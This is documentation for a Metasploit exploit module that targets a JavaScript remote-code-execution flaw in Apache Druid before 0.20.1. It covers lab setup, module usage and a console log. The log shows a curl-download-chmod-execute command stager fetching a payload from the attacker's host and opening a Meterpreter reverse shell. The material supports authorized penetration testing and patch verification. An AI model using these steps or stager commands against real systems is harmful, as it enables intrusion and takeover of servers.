## Vulnerable Application

Apache Druid versions prior to `v0.20.1`

### Description

Apache Druid includes the ability to execute user-provided JavaScript code embedded in
various types of requests; however, that feature is disabled by default.

In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request
that both enables the JavaScript code-execution feature and executes the supplied code all
at once, allowing for code execution on the server with the privileges of the Druid Server process.
More critically, authentication is not enabled in Apache Druid by default.

The issue has been fixed in Apache Druid `v0.20.1`

This module has been tested successfully against the following versions:

Apache Druid 0.15.1 Debian 9.11 (Linux 3.10.0-957.21.3.el7.x86_64)

Apache Druid 0.16.0-iap8  Ubuntu 16.04 (Linux 3.10.0-957.27.2.el7.x86_64)

Apache Druid 0.17.1 CentOS 8.2.2004 (Core) (Linux 4.18.0-193.28.1.el8_2.x86_64)

Apache Druid 0.18.0-iap3 Debian 9.12 (Linux 4.19.0-0.bpo.8-amd64)

Apache Druid 0.19.0-iap7 Ubuntu 18.04 (Linux 4.14.193-149.317.amzn2.x86_64)

Apache Druid 0.20.0-iap4.1 Ubuntu 18.04 (Linux 4.19.112+)

Apache Druid 0.20.0 Debian 9.13 (Linux 5.4.0-1038-aws)

Apache Druid 0.21.0-iap3 CentOS 7.9.2009 (Linux 3.10.0-1160.15.2.el7.x86_64)

### Setup

A Docker container is available [here](https://hub.docker.com/r/fokkodriesprong/docker-druid)

To setup and run:

`docker pull fokkodriesprong/docker-druid`
`docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid`

For a manual setup:

* Download a vulnerable version of Apache Druid from [here](https://archive.apache.org/dist/druid/)
* Extract the downloaded archive
* Ensure a supported version of Java is installed on the system
* Start Apache Druid: `bin/start-nano-quickstart`

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/apache_druid_js_rce`
4. Do: `set rhosts <ip>`
5. Do: `set lhost <ip>`
6. Do: `set lport/srvport <ip>` if necessary
7. Do: `run`
8. You should get a shell.

## Targets

### 0 (Linux Dropper)

This uses a Linux dropper to execute code.

### 1 (Unix Command)

This executes a Unix command.

## Options

### TARGETURI

The base path to the Apache Druid application. This is set to `/` by default.

## Scenarios

### Apache Druid 0.20.0-iap4.1 on Ubuntu 18.04 (Linux 4.19.112+)

```
msf6 exploit(linux/http/apache_druid_js_rce) > options

Module options (exploit/linux/http/apache_druid_js_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.100.70.2      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8888             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path of Apache Druid
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.100.70.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux (dropper)


msf6 exploit(linux/http/apache_druid_js_rce) > check

[*] Attempting to execute 'echo XjUoa3Mw8z0UBQKnZ' on the target.
[*] cmd= /bin/sh`@~-c`@~echo XjUoa3Mw8z0UBQKnZ   var=RUmlsVEYh   name=rZXrMaTO
[+] 10.100.70.2:8888 - The target is vulnerable.
msf6 exploit(linux/http/apache_druid_js_rce) > exploit

[*] Started reverse TCP handler on 10.100.70.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to execute 'echo hKJDyfi80sjuaSwfa38Skra' on the target.
[*] cmd= /bin/sh`@~-c`@~echo hKJDyfi80sjuaSwfa38Skra   var=MRCLndLkidu   name=eAYzmpMSm
[+] The target is vulnerable.
[*] Using URL: http://0.0.0.0:8080/t1yvMQyzxpNEIO
[*] Local IP: http://10.100.70.1:8080/t1yvMQyzxpNEIO
[*] Generated command stager: ["curl -so /tmp/OWmIlZjX http://10.100.70.1:8080/t1yvMQyzxpNEIO;chmod +x /tmp/OWmIlZjX;/tmp/OWmIlZjX;rm -f /tmp/OWmIlZjX"]
[*] cmd= /bin/sh`@~-c`@~curl -so /tmp/OWmIlZjX http://10.100.70.1:8080/t1yvMQyzxpNEIO;chmod +x /tmp/OWmIlZjX;/tmp/OWmIlZjX;rm -f /tmp/OWmIlZjX   var=xZpqsqSBeZ   name=qVwUlOBO
[*] Client 10.100.70.2 (curl/7.58.0) requested /t1yvMQyzxpNEIO
[*] Sending payload to 10.100.70.2 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012516 bytes) to 10.100.70.2
[*] Meterpreter session 4 opened (10.100.70.1:4444 -> 10.100.70.2:39486) at 2021-04-10 10:28:56 +0800
[*] Command Stager progress - 100.00% done (122/122 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 10.100.70.2
OS           : Ubuntu 18.04 (Linux 4.19.112+)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

```
